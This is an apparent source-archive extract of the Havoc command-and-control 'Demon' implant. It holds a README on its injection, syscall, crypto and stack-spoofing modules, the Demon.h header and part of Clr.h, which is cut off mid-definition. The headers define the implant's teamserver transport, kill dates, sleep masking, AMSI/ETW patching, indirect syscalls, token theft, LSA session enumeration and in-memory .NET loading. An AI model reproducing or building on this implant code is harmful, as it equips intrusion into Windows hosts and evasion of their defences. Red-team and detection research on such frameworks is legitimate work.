add_executable( ${PROJECT_NAME} ${COMMON_SOURCE} ${INJECT_SOURCE} ${EXT_SOURCE} ${CRYPT_SOURCE} ${LOADER_SOURCE} ${MAIN_SOURCE} ) havoc-0.6~git20240910.69ce17c/payloads/Demon/README.md000066400000000000000000000015421467014221700214260ustar00rootroot00000000000000# Havoc Demon Agent Havoc Demon Agent source code written in C and assembly # Directories ## src/asm assembly code (return address stack spoofing) ## src/core core functions ( connect to server, dynamically load win32 apis / syscalls ) ## src/crypt encryption / decryption functions ## src/inject injection functions and utilities ## src/main Entry point of an PE executable - MainExe.c Entry point of a Service executable - MainSvc.c Entry point of a Dll - MainDll.c ### NOTE about the `CMakeLists.txt` file from the Developer Do not modify it or use it. This is for only for developing and editing the Demon source code in Clion, it has no use for anyone else beside me (C5pider) or someone that uses Clion or any other IDE that supports CMake. It is only there to make Clion happy and show me references and to make my workflow faster that's it.havoc-0.6~git20240910.69ce17c/payloads/Demon/include/000077500000000000000000000000001467014221700215705ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/include/Demon.h000066400000000000000000000415071467014221700230120ustar00rootroot00000000000000#ifndef DEMON_DEMON_H #define DEMON_DEMON_H #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef DEBUG #include #endif // To prevent false alignment on x64 #pragma pack(1) typedef struct { PVOID KaynLdr; PVOID DllCopy; PVOID Demon; DWORD DemonSize; PVOID TxtBase; DWORD TxtSize; } KAYN_ARGS, *PKAYN_ARGS; // TODO: remove all variables that are not switched/changed after some time typedef struct { /* MetaData */ PPACKAGE MetaData; /* The last RequestID received by the TS */ UINT32 CurrentRequestID; /* whether WSAStartup has been called yet */ BOOL WSAWasInitialised; #ifdef TRANSPORT_HTTP HANDLE hHttpSession; BOOL LookedForProxy; PVOID ProxyForUrl; SIZE_T SizeOfProxyForUrl; #endif #if defined(SHELLCODE) && defined(DEBUG) HANDLE hConsoleOutput; #endif struct { PVOID ModuleBase; DWORD ModuleSize; PVOID TxtBase; DWORD TxtSize; DWORD AgentID; BOOL Connected; DWORD PID; DWORD TID; DWORD PPID; WORD OS_Arch; WORD Process_Arch; DWORD OSVersion; } Session; struct { /* Sleep delay */ DWORD Sleeping; DWORD Jitter; struct { UINT64 KillDate; UINT32 WorkingHours; #ifdef TRANSPORT_HTTP PHOST_DATA Host; /* current using host */ PHOST_DATA Hosts; /* host linked list */ UINT32 NumHosts; LPWSTR Method; /* TODO: use WCHAR[4] instead of LPWSTR. */ SHORT HostRotation; DWORD HostIndex; DWORD HostMaxRetries; DWORD Secure; LPWSTR UserAgent; /* TODO: change type to BUFFER */ LPWSTR* Uris; /* TODO: change type to BUFFER */ LPWSTR* Headers; /* TODO: change type to BUFFER */ struct { BOOL Enabled; LPWSTR Url; /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */ LPWSTR Username; /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */ LPWSTR Password; /* TODO: Instead of using LPWSTR use BUFFER (to have the size of the string too) */ } Proxy; #endif #ifdef TRANSPORT_SMB LPSTR Name; /* TODO: change type to BUFFER */ HANDLE Handle; #endif } Transport; struct _CONFIG { ULONG SleepMaskTechnique; ULONG SleepJmpBypass; BOOL StackSpoof; BOOL SysIndirect; BYTE ProxyLoading; BYTE AmsiEtwPatch; BOOL Verbose; PVOID ThreadStartAddr; BOOL CoffeeThreaded; BOOL CoffeeVeh; ULONG DownloadChunkSize; } Implant; struct { UINT32 Alloc; UINT32 Execute; } Memory; // Process Config struct { PWCHAR Spawn64; /* TODO: change type to BUFFER */ PWCHAR Spawn86; /* TODO: change type to BUFFER */ } Process; struct { DWORD Technique; PVOID SpoofAddr; } Inject; /* communication AES keys */ struct { PBYTE Key; PBYTE IV; } AES; } Config ; // TODO: format everything by library. include syscalls too struct { /* Ntdll.dll */ WIN_FUNC( LdrLoadDll ) WIN_FUNC( LdrGetProcedureAddress ) WIN_FUNC( RtlAllocateHeap ) WIN_FUNC( RtlReAllocateHeap ) WIN_FUNC( RtlFreeHeap ) WIN_FUNC( RtlRandomEx ) WIN_FUNC( RtlNtStatusToDosError ) WIN_FUNC( RtlGetVersion ) WIN_FUNC( RtlExitUserThread ) WIN_FUNC( RtlExitUserProcess ) WIN_FUNC( RtlCreateTimer ) WIN_FUNC( RtlRegisterWait ) WIN_FUNC( RtlQueueWorkItem ) WIN_FUNC( RtlCreateTimerQueue ) WIN_FUNC( RtlDeleteTimerQueue ) WIN_FUNC( RtlCaptureContext ); WIN_FUNC( RtlAddVectoredExceptionHandler ); WIN_FUNC( RtlRemoveVectoredExceptionHandler ); WIN_FUNC( RtlCopyMappedMemory ); WIN_FUNC( NtClose ); WIN_FUNC( NtSetEvent ); WIN_FUNC( NtSetInformationThread ); WIN_FUNC( NtSetInformationVirtualMemory ); WIN_FUNC( NtGetNextThread ); WIN_FUNC( NtOpenThread ) WIN_FUNC( NtOpenThreadToken ) WIN_FUNC( NtTerminateProcess ) WIN_FUNC( NtOpenProcess ) WIN_FUNC( NtOpenProcessToken ) WIN_FUNC( NtDuplicateToken ) WIN_FUNC( NtQueueApcThread ) WIN_FUNC( NtSuspendThread ) WIN_FUNC( NtResumeThread ) WIN_FUNC( NtCreateEvent ) WIN_FUNC( NtCreateThreadEx ) WIN_FUNC( NtDuplicateObject ) WIN_FUNC( NtGetContextThread ) WIN_FUNC( NtSetContextThread ) WIN_FUNC( NtQueryInformationProcess ) WIN_FUNC( NtQuerySystemInformation ) WIN_FUNC( NtWaitForSingleObject ) WIN_FUNC( NtTestAlert ) WIN_FUNC( NtAllocateVirtualMemory ) WIN_FUNC( NtWriteVirtualMemory ) WIN_FUNC( NtReadVirtualMemory ) WIN_FUNC( NtFreeVirtualMemory ) WIN_FUNC( NtUnmapViewOfSection ) WIN_FUNC( NtProtectVirtualMemory ) WIN_FUNC( NtTerminateThread ) WIN_FUNC( NtContinue ) WIN_FUNC( NtAlertResumeThread ) WIN_FUNC( NtSignalAndWaitForSingleObject ) WIN_FUNC( NtQueryVirtualMemory ) WIN_FUNC( NtQueryInformationToken ) WIN_FUNC( NtQueryInformationThread ) WIN_FUNC( NtQueryObject ) PVOID NtTraceEvent; // Kernel32 WIN_FUNC( LoadLibraryW ) WIN_FUNC( CreateRemoteThread ) WIN_FUNC( CreateToolhelp32Snapshot ) WIN_FUNC( Process32FirstW ) WIN_FUNC( Process32NextW ) WIN_FUNC( VirtualAllocEx ) WIN_FUNC( VirtualProtect ) WIN_FUNC( CreateFileW ) WIN_FUNC( GetFullPathNameW ) WIN_FUNC( GetFileSize ) WIN_FUNC( GetFileSizeEx ) WIN_FUNC( CreateNamedPipeW ) WIN_FUNC( WaitNamedPipeW ) WIN_FUNC( PeekNamedPipe ) WIN_FUNC( DisconnectNamedPipe ) WIN_FUNC( WriteFile ) WIN_FUNC( ConnectNamedPipe ) WIN_FUNC( FreeLibrary ) WIN_FUNC( GetProcAddress ) WIN_FUNC( CreatePipe ) WIN_FUNC( ReadFile ) WIN_FUNC( GetComputerNameExA ) WIN_FUNC( LocalAlloc ) /* TODO: replace with RtlAllocateHeap */ WIN_FUNC( LocalFree ) /* TODO: replace with RtlFreeHeap */ WIN_FUNC( LocalReAlloc ) /* TODO: replace with RtlReAllocateHeap */ WIN_FUNC( CreateProcessW ) WIN_FUNC( GetExitCodeProcess ) WIN_FUNC( GetExitCodeThread ) WIN_FUNC( TerminateProcess ) WIN_FUNC( VirtualProtectEx ) WIN_FUNC( GetCurrentDirectoryW ) WIN_FUNC( FindFirstFileW ) WIN_FUNC( FindNextFileW ) WIN_FUNC( DeleteFileW ) WIN_FUNC( RemoveDirectoryW ) WIN_FUNC( CreateDirectoryW ) WIN_FUNC( MoveFileW ) WIN_FUNC( GetFileTime ) WIN_FUNC( GetFileAttributesW ) WIN_FUNC( FindClose ) WIN_FUNC( FileTimeToSystemTime ) WIN_FUNC( SystemTimeToTzSpecificLocalTime ) WIN_FUNC( SetCurrentDirectoryW ) WIN_FUNC( Wow64DisableWow64FsRedirection ) WIN_FUNC( Wow64RevertWow64FsRedirection ) WIN_FUNC( CopyFileW ) WIN_FUNC( MoveFileExW ) WIN_FUNC( GetModuleHandleA ) WIN_FUNC( GetSystemTimeAsFileTime ) WIN_FUNC( GetLocalTime ) WIN_FUNC( DuplicateHandle ) WIN_FUNC( AttachConsole ) WIN_FUNC( WriteConsoleA ) HGLOBAL ( *GlobalFree ) ( HGLOBAL ); /* WinHttp.dll */ WIN_FUNC( WinHttpOpen ) WIN_FUNC( WinHttpConnect ) WIN_FUNC( WinHttpOpenRequest ) WIN_FUNC( WinHttpSetOption ) WIN_FUNC( WinHttpCloseHandle ) WIN_FUNC( WinHttpSendRequest ) WIN_FUNC( WinHttpAddRequestHeaders ) WIN_FUNC( WinHttpReceiveResponse ) WIN_FUNC( WinHttpReadData ) WIN_FUNC( WinHttpQueryHeaders ) WIN_FUNC( WinHttpGetIEProxyConfigForCurrentUser ) WIN_FUNC( WinHttpGetProxyForUrl ) // Mscoree HRESULT ( WINAPI *CLRCreateInstance ) ( REFCLSID clsid, REFIID riid, LPVOID* ppInterface ); // Oleaut32 WIN_FUNC( SafeArrayAccessData ) WIN_FUNC( SafeArrayUnaccessData ) WIN_FUNC( SafeArrayCreate ) WIN_FUNC( SafeArrayCreateVector ) WIN_FUNC( SafeArrayPutElement ) WIN_FUNC( SafeArrayDestroy ) WIN_FUNC( SysAllocString ) // Advapi32 WIN_FUNC( GetTokenInformation ) WIN_FUNC( GetUserNameA ) WIN_FUNC( CreateProcessWithTokenW ) WIN_FUNC( CreateProcessWithLogonW ) NTSTATUS ( WINAPI* SystemFunction032 ) ( struct ustring* data, struct ustring* key ); WIN_FUNC( FreeSid ) WIN_FUNC( SetSecurityDescriptorSacl ) WIN_FUNC( SetSecurityDescriptorDacl ) WIN_FUNC( InitializeSecurityDescriptor ) WIN_FUNC( AddMandatoryAce ) WIN_FUNC( InitializeAcl ) WIN_FUNC( AllocateAndInitializeSid ) WIN_FUNC( CheckTokenMembership ) WIN_FUNC( SetEntriesInAclW ) WIN_FUNC( LsaNtStatusToWinError ) WIN_FUNC( EqualSid ) WIN_FUNC( ConvertSidToStringSidW ) WIN_FUNC( GetSidSubAuthorityCount ) WIN_FUNC( GetSidSubAuthority) WIN_FUNC( ConvertThreadToFiberEx ) WIN_FUNC( ConvertFiberToThread ) WIN_FUNC( SwitchToFiber ) WIN_FUNC( CreateFiberEx ) WIN_FUNC( DeleteFiber ) // Token Management WIN_FUNC( RevertToSelf ) WIN_FUNC( LookupAccountSidA ) WIN_FUNC( LookupAccountSidW ) WIN_FUNC( LookupPrivilegeNameA ) WIN_FUNC( LogonUserW ) WIN_FUNC( AdjustTokenPrivileges ) WIN_FUNC( OpenProcessToken ) WIN_FUNC( OpenThreadToken ) WIN_FUNC( LookupPrivilegeValueA ) WIN_FUNC( SetThreadToken ) // String Formatting INT ( *vsnprintf ) ( PCHAR, SIZE_T, CONST PCHAR, va_list ); INT ( *swprintf_s ) ( PWCHAR, SIZE_T, CONST PWCHAR, ... ); // * MISC * WIN_FUNC( CommandLineToArgvW ) WIN_FUNC( AllocConsole ) WIN_FUNC( FreeConsole ) WIN_FUNC( GetConsoleWindow ) WIN_FUNC( ShowWindow ) WIN_FUNC( GetStdHandle ) WIN_FUNC( SetStdHandle ) WIN_FUNC( GetAdaptersInfo ) WIN_FUNC( WaitForSingleObjectEx ) // Screenshot WIN_FUNC( GetSystemMetrics ) WIN_FUNC( GetDC ) WIN_FUNC( GetCurrentObject ) WIN_FUNC( GetObjectW ) WIN_FUNC( CreateCompatibleDC ) WIN_FUNC( CreateDIBSection ) WIN_FUNC( SelectObject ) WIN_FUNC( BitBlt ) WIN_FUNC( DeleteObject ) WIN_FUNC( DeleteDC ) WIN_FUNC( ReleaseDC ) // Netapi WIN_FUNC( NetWkstaUserEnum ) WIN_FUNC( NetSessionEnum ) WIN_FUNC( NetLocalGroupEnum ) WIN_FUNC( NetGroupEnum ) WIN_FUNC( NetUserEnum ) WIN_FUNC( NetShareEnum ) WIN_FUNC( NetApiBufferFree ) /* Ws2_32.dll */ WIN_FUNC( WSAStartup ) WIN_FUNC( WSACleanup ) WIN_FUNC( WSASocketA ) WIN_FUNC( WSAGetLastError ) WIN_FUNC( ioctlsocket ) WIN_FUNC( bind ) WIN_FUNC( listen ) WIN_FUNC( accept ) WIN_FUNC( closesocket ) WIN_FUNC( recv ) WIN_FUNC( send ) WIN_FUNC( connect ) WIN_FUNC( getaddrinfo ) WIN_FUNC( freeaddrinfo ) /* sspicli.dll */ WIN_FUNC( LsaCallAuthenticationPackage ) WIN_FUNC( LsaGetLogonSessionData ) WIN_FUNC( LsaEnumerateLogonSessions ) WIN_FUNC( LsaRegisterLogonProcess ) WIN_FUNC( LsaLookupAuthenticationPackage ) WIN_FUNC( LsaDeregisterLogonProcess ) WIN_FUNC( LsaConnectUntrusted ) WIN_FUNC( LsaFreeReturnBuffer ) /* Amsi.dll */ PVOID AmsiScanBuffer; } Win32; struct { #undef OBF_SYSCALL #ifdef OBF_SYSCALL WIN_FUNC( NtOpenFile ) WIN_FUNC( NtOpenThread ) WIN_FUNC( NtOpenThreadToken ) WIN_FUNC( NtTerminateProcess ) WIN_FUNC( NtOpenProcess ) WIN_FUNC( NtOpenProcessToken ) WIN_FUNC( NtCreateSection ) WIN_FUNC( NtMapViewOfSection ) WIN_FUNC( NtDuplicateToken ) WIN_FUNC( NtQueueApcThread ) WIN_FUNC( NtSuspendThread ) WIN_FUNC( NtResumeThread ) WIN_FUNC( NtCreateEvent ) WIN_FUNC( NtCreateThreadEx ) WIN_FUNC( NtDuplicateObject ) WIN_FUNC( NtGetContextThread ) WIN_FUNC( NtSetContextThread ) WIN_FUNC( NtQueryInformationProcess ) WIN_FUNC( NtQuerySystemInformation ) WIN_FUNC( NtWaitForSingleObject ) WIN_FUNC( NtTestAlert ) WIN_FUNC( NtAllocateVirtualMemory ) WIN_FUNC( NtWriteVirtualMemory ) WIN_FUNC( NtReadVirtualMemory ) WIN_FUNC( NtFreeVirtualMemory ) WIN_FUNC( NtUnmapViewOfSection ) WIN_FUNC( NtProtectVirtualMemory ) WIN_FUNC( NtTerminateThread ) WIN_FUNC( NtContinue ) WIN_FUNC( NtAlertResumeThread ) WIN_FUNC( NtSignalAndWaitForSingleObject ) WIN_FUNC( NtQueryVirtualMemory ) WIN_FUNC( NtQueryInformationToken ) WIN_FUNC( NtQueryInformationThread ) WIN_FUNC( NtQueryObject ) #else PVOID SysAddress; /* 'syscall' instruction pointer */ UINT32 Size; /* size of each 'syscall' stub */ /* Syscall Service Numbers */ WORD NtOpenThread; WORD NtOpenThreadToken; WORD NtTerminateProcess; WORD NtOpenProcess; WORD NtOpenProcessToken; WORD NtDuplicateToken; WORD NtQueueApcThread; WORD NtSuspendThread; WORD NtResumeThread; WORD NtCreateEvent; WORD NtCreateThreadEx; WORD NtDuplicateObject; WORD NtGetContextThread; WORD NtSetContextThread; WORD NtQueryInformationProcess; WORD NtQuerySystemInformation; WORD NtWaitForSingleObject; WORD NtAllocateVirtualMemory; WORD NtWriteVirtualMemory; WORD NtReadVirtualMemory; WORD NtFreeVirtualMemory; WORD NtUnmapViewOfSection; WORD NtProtectVirtualMemory; WORD NtTerminateThread; WORD NtAlertResumeThread; WORD NtSignalAndWaitForSingleObject; WORD NtQueryVirtualMemory; WORD NtQueryInformationToken; WORD NtQueryInformationThread; WORD NtQueryObject; WORD NtClose; WORD NtSetEvent; WORD NtSetInformationThread; WORD NtSetInformationVirtualMemory; WORD NtGetNextThread; #endif } Syscall; struct { PVOID Ntdll; PVOID Kernel32; PVOID Advapi32; PVOID Mscoree; PVOID Oleaut32; PVOID User32; PVOID Shell32; PVOID Msvcrt; PVOID Iphlpapi; PVOID Gdi32; PVOID NetApi32; PVOID Ws2_32; PVOID Sspicli; /* used for bypass */ PVOID Amsi; #ifdef TRANSPORT_HTTP PVOID WinHttp; #endif } Modules; /* The main thread environment block */ PTEB Teb; /* Thread counter. how many threads that are using our code are running ? */ DWORD Threads; /* A list of packages that have to be sent to the teamserver */ PPACKAGE Packages; /* Buffer to use for allocating download chunks. */ BUFFER DownloadChunk; /* This is a global variable for dotnet inline-execute * holds our CLR instance, assembly and where to output. */ PDOTNET_ARGS Dotnet; /* Linked lists */ struct { PTOKEN_LIST_DATA Vault; /* Impersonate token. */ PTOKEN_LIST_DATA Token; BOOL Impersonate; } Tokens; PPIVOT_DATA SmbPivots; PJOB_DATA Jobs; PDOWNLOAD_DATA Downloads; PMEM_FILE MemFiles; PSOCKET_DATA Sockets; PCOFFEE Coffees; PCOFFEE_KEY_VALUE CoffeKeyValueStore; PHWBP_ENGINE HwBpEngine; } INSTANCE, *PINSTANCE; extern PINSTANCE Instance; VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs ); VOID DemonRoutine( ); VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ); VOID DemonMetaData( PPACKAGE* Package, BOOL Header ); VOID DemonConfig(); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/common/000077500000000000000000000000001467014221700230605ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/include/common/Clr.h000066400000000000000000000506511467014221700237600ustar00rootroot00000000000000#ifndef DEMON_CLR_H #define DEMON_CLR_H #include #include extern GUID xCLSID_CLRMetaHost; extern GUID xIID_ICLRMetaHost; extern GUID xIID_ICLRRuntimeInfo; extern GUID xCLSID_CorRuntimeHost; extern GUID xIID_ICorRuntimeHost; extern GUID xIID_AppDomain; typedef struct _ICLRMetaHost ICLRMetaHost; typedef struct _ICLRRuntimeInfo ICLRRuntimeInfo; typedef struct _AppDomain IAppDomain; typedef struct _Assembly IAssembly; typedef struct _Type IType; typedef struct _Binder IBinder; typedef struct _MethodInfo IMethodInfo; typedef ICLRMetaHost *PICLRMetaHost; typedef ICLRRuntimeInfo *PICLRRuntimeInfo; typedef IAssembly *PIAssembly; typedef IEnumUnknown *PIEnumUnknown; typedef IUnknown *PIUnknown; typedef ICorRuntimeHost *PICorRuntimeHost; typedef void* HDOMAINENUM; typedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)( REFCLSID clsid, REFIID riid, LPVOID* ppInterface); typedef HRESULT(__stdcall* CreateInterfaceFnPtr)( REFCLSID clsid, REFIID riid, LPVOID* ppInterface); typedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void); typedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void); typedef void(__stdcall* RuntimeLoadedCallbackFnPtr)( ICLRRuntimeInfo* pRuntimeInfo, CallbackThreadSetFnPtr pfnCallbackThreadSet, CallbackThreadUnsetFnPtr pfnCallbackThreadUnset); #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This) typedef struct _BinderVtbl { HRESULT(STDMETHODCALLTYPE* QueryInterface)( IBinder* This, /* [in] */ REFIID riid, /* [iid_is][out] */ void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IBinder* This); ULONG(STDMETHODCALLTYPE* Release)( IBinder* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(BindToMethod); DUMMY_METHOD(BindToField); DUMMY_METHOD(SelectMethod); DUMMY_METHOD(SelectProperty); DUMMY_METHOD(ChangeType); DUMMY_METHOD(ReorderArgumentArray); } BinderVtbl; typedef struct _Binder { BinderVtbl* lpVtbl; } Binder; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This) typedef struct _AppDomainVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( IAppDomain* This, /* [in] */ REFIID riid, /* [iid_is][out] */ void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IAppDomain* This); ULONG(STDMETHODCALLTYPE* Release)( IAppDomain* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(InitializeLifetimeService); DUMMY_METHOD(GetLifetimeService); DUMMY_METHOD(Evidence); DUMMY_METHOD(add_DomainUnload); DUMMY_METHOD(remove_DomainUnload); DUMMY_METHOD(add_AssemblyLoad); DUMMY_METHOD(remove_AssemblyLoad); DUMMY_METHOD(add_ProcessExit); DUMMY_METHOD(remove_ProcessExit); DUMMY_METHOD(add_TypeResolve); DUMMY_METHOD(remove_TypeResolve); DUMMY_METHOD(add_ResourceResolve); DUMMY_METHOD(remove_ResourceResolve); DUMMY_METHOD(add_AssemblyResolve); DUMMY_METHOD(remove_AssemblyResolve); DUMMY_METHOD(add_UnhandledException); DUMMY_METHOD(remove_UnhandledException); DUMMY_METHOD(DefineDynamicAssembly); DUMMY_METHOD(DefineDynamicAssembly_2); DUMMY_METHOD(DefineDynamicAssembly_3); DUMMY_METHOD(DefineDynamicAssembly_4); DUMMY_METHOD(DefineDynamicAssembly_5); DUMMY_METHOD(DefineDynamicAssembly_6); DUMMY_METHOD(DefineDynamicAssembly_7); DUMMY_METHOD(DefineDynamicAssembly_8); DUMMY_METHOD(DefineDynamicAssembly_9); DUMMY_METHOD(CreateInstance); DUMMY_METHOD(CreateInstanceFrom); DUMMY_METHOD(CreateInstance_2); DUMMY_METHOD(CreateInstanceFrom_2); DUMMY_METHOD(CreateInstance_3); DUMMY_METHOD(CreateInstanceFrom_3); DUMMY_METHOD(Load); DUMMY_METHOD(Load_2); HRESULT(STDMETHODCALLTYPE* Load_3)( IAppDomain* This, SAFEARRAY* rawAssembly, IAssembly** pRetVal); DUMMY_METHOD(Load_4); DUMMY_METHOD(Load_5); DUMMY_METHOD(Load_6); DUMMY_METHOD(Load_7); DUMMY_METHOD(ExecuteAssembly); DUMMY_METHOD(ExecuteAssembly_2); DUMMY_METHOD(ExecuteAssembly_3); DUMMY_METHOD(FriendlyName); DUMMY_METHOD(BaseDirectory); DUMMY_METHOD(RelativeSearchPath); DUMMY_METHOD(ShadowCopyFiles); DUMMY_METHOD(GetAssemblies); DUMMY_METHOD(AppendPrivatePath); DUMMY_METHOD(ClearPrivatePath); DUMMY_METHOD(SetShadowCopyPath); DUMMY_METHOD(ClearShadowCopyPath); DUMMY_METHOD(SetCachePath); DUMMY_METHOD(SetData); DUMMY_METHOD(GetData); DUMMY_METHOD(SetAppDomainPolicy); DUMMY_METHOD(SetThreadPrincipal); DUMMY_METHOD(SetPrincipalPolicy); DUMMY_METHOD(DoCallBack); DUMMY_METHOD(DynamicDirectory); END_INTERFACE } AppDomainVtbl; typedef struct _AppDomain { AppDomainVtbl* lpVtbl; } AppDomain, *PAppDomain; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAssembly *This) typedef struct _AssemblyVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( IAssembly* This, REFIID riid, void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IAssembly* This); ULONG(STDMETHODCALLTYPE* Release)( IAssembly* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(CodeBase); DUMMY_METHOD(EscapedCodeBase); DUMMY_METHOD(GetName); DUMMY_METHOD(GetName_2); DUMMY_METHOD(FullName); HRESULT(STDMETHODCALLTYPE* EntryPoint)( IAssembly* This, IMethodInfo** pRetVal); HRESULT(STDMETHODCALLTYPE* GetType_2)( IAssembly* This, BSTR name, IType** pRetVal); DUMMY_METHOD(GetType_3); DUMMY_METHOD(GetExportedTypes); DUMMY_METHOD(GetTypes); DUMMY_METHOD(GetManifestResourceStream); DUMMY_METHOD(GetManifestResourceStream_2); DUMMY_METHOD(GetFile); DUMMY_METHOD(GetFiles); DUMMY_METHOD(GetFiles_2); DUMMY_METHOD(GetManifestResourceNames); DUMMY_METHOD(GetManifestResourceInfo); DUMMY_METHOD(Location); DUMMY_METHOD(Evidence); DUMMY_METHOD(GetCustomAttributes); DUMMY_METHOD(GetCustomAttributes_2); DUMMY_METHOD(IsDefined); DUMMY_METHOD(GetObjectData); DUMMY_METHOD(add_ModuleResolve); DUMMY_METHOD(remove_ModuleResolve); DUMMY_METHOD(GetType_4); DUMMY_METHOD(GetSatelliteAssembly); DUMMY_METHOD(GetSatelliteAssembly_2); DUMMY_METHOD(LoadModule); DUMMY_METHOD(LoadModule_2); DUMMY_METHOD(CreateInstance); DUMMY_METHOD(CreateInstance_2); DUMMY_METHOD(CreateInstance_3); DUMMY_METHOD(GetLoadedModules); DUMMY_METHOD(GetLoadedModules_2); DUMMY_METHOD(GetModules); DUMMY_METHOD(GetModules_2); DUMMY_METHOD(GetModule); DUMMY_METHOD(GetReferencedAssemblies); DUMMY_METHOD(GlobalAssemblyCache); END_INTERFACE } AssemblyVtbl; typedef enum _BindingFlags { BindingFlags_Default = 0, BindingFlags_IgnoreCase = 1, BindingFlags_DeclaredOnly = 2, BindingFlags_Instance = 4, BindingFlags_Static = 8, BindingFlags_Public = 16, BindingFlags_NonPublic = 32, BindingFlags_FlattenHierarchy = 64, BindingFlags_InvokeMethod = 256, BindingFlags_CreateInstance = 512, BindingFlags_GetField = 1024, BindingFlags_SetField = 2048, BindingFlags_GetProperty = 4096, BindingFlags_SetProperty = 8192, BindingFlags_PutDispProperty = 16384, BindingFlags_PutRefDispProperty = 32768, BindingFlags_ExactBinding = 65536, BindingFlags_SuppressChangeType = 131072, BindingFlags_OptionalParamBinding = 262144, BindingFlags_IgnoreReturn = 16777216 } BindingFlags; typedef struct _Assembly { AssemblyVtbl* lpVtbl; } Assembly, *PAssembly; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IType *This) typedef struct _TypeVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( IType* This, REFIID riid, void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IType* This); ULONG(STDMETHODCALLTYPE* Release)( IType* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(MemberType); DUMMY_METHOD(name); DUMMY_METHOD(DeclaringType); DUMMY_METHOD(ReflectedType); DUMMY_METHOD(GetCustomAttributes); DUMMY_METHOD(GetCustomAttributes_2); DUMMY_METHOD(IsDefined); DUMMY_METHOD(Guid); DUMMY_METHOD(Module); DUMMY_METHOD(Assembly); DUMMY_METHOD(TypeHandle); DUMMY_METHOD(FullName); DUMMY_METHOD(Namespace); DUMMY_METHOD(AssemblyQualifiedName); DUMMY_METHOD(GetArrayRank); DUMMY_METHOD(BaseType); DUMMY_METHOD(GetConstructors); DUMMY_METHOD(GetInterface); DUMMY_METHOD(GetInterfaces); DUMMY_METHOD(FindInterfaces); DUMMY_METHOD(GetEvent); DUMMY_METHOD(GetEvents); DUMMY_METHOD(GetEvents_2); DUMMY_METHOD(GetNestedTypes); DUMMY_METHOD(GetNestedType); DUMMY_METHOD(GetMember); DUMMY_METHOD(GetDefaultMembers); DUMMY_METHOD(FindMembers); DUMMY_METHOD(GetElementType); DUMMY_METHOD(IsSubclassOf); DUMMY_METHOD(IsInstanceOfType); DUMMY_METHOD(IsAssignableFrom); DUMMY_METHOD(GetInterfaceMap); DUMMY_METHOD(GetMethod); DUMMY_METHOD(GetMethod_2); DUMMY_METHOD(GetMethods); DUMMY_METHOD(GetField); DUMMY_METHOD(GetFields); DUMMY_METHOD(GetProperty); DUMMY_METHOD(GetProperty_2); DUMMY_METHOD(GetProperties); DUMMY_METHOD(GetMember_2); DUMMY_METHOD(GetMembers); DUMMY_METHOD(InvokeMember); DUMMY_METHOD(UnderlyingSystemType); DUMMY_METHOD(InvokeMember_2); HRESULT(STDMETHODCALLTYPE* InvokeMember_3)( IType* This, BSTR name, BindingFlags invokeAttr, IBinder* Binder, VARIANT Target, SAFEARRAY* args, VARIANT* pRetVal); DUMMY_METHOD(GetConstructor); DUMMY_METHOD(GetConstructor_2); DUMMY_METHOD(GetConstructor_3); DUMMY_METHOD(GetConstructors_2); DUMMY_METHOD(TypeInitializer); DUMMY_METHOD(GetMethod_3); DUMMY_METHOD(GetMethod_4); DUMMY_METHOD(GetMethod_5); DUMMY_METHOD(GetMethod_6); DUMMY_METHOD(GetMethods_2); DUMMY_METHOD(GetField_2); DUMMY_METHOD(GetFields_2); DUMMY_METHOD(GetInterface_2); DUMMY_METHOD(GetEvent_2); DUMMY_METHOD(GetProperty_3); DUMMY_METHOD(GetProperty_4); DUMMY_METHOD(GetProperty_5); DUMMY_METHOD(GetProperty_6); DUMMY_METHOD(GetProperty_7); DUMMY_METHOD(GetProperties_2); DUMMY_METHOD(GetNestedTypes_2); DUMMY_METHOD(GetNestedType_2); DUMMY_METHOD(GetMember_3); 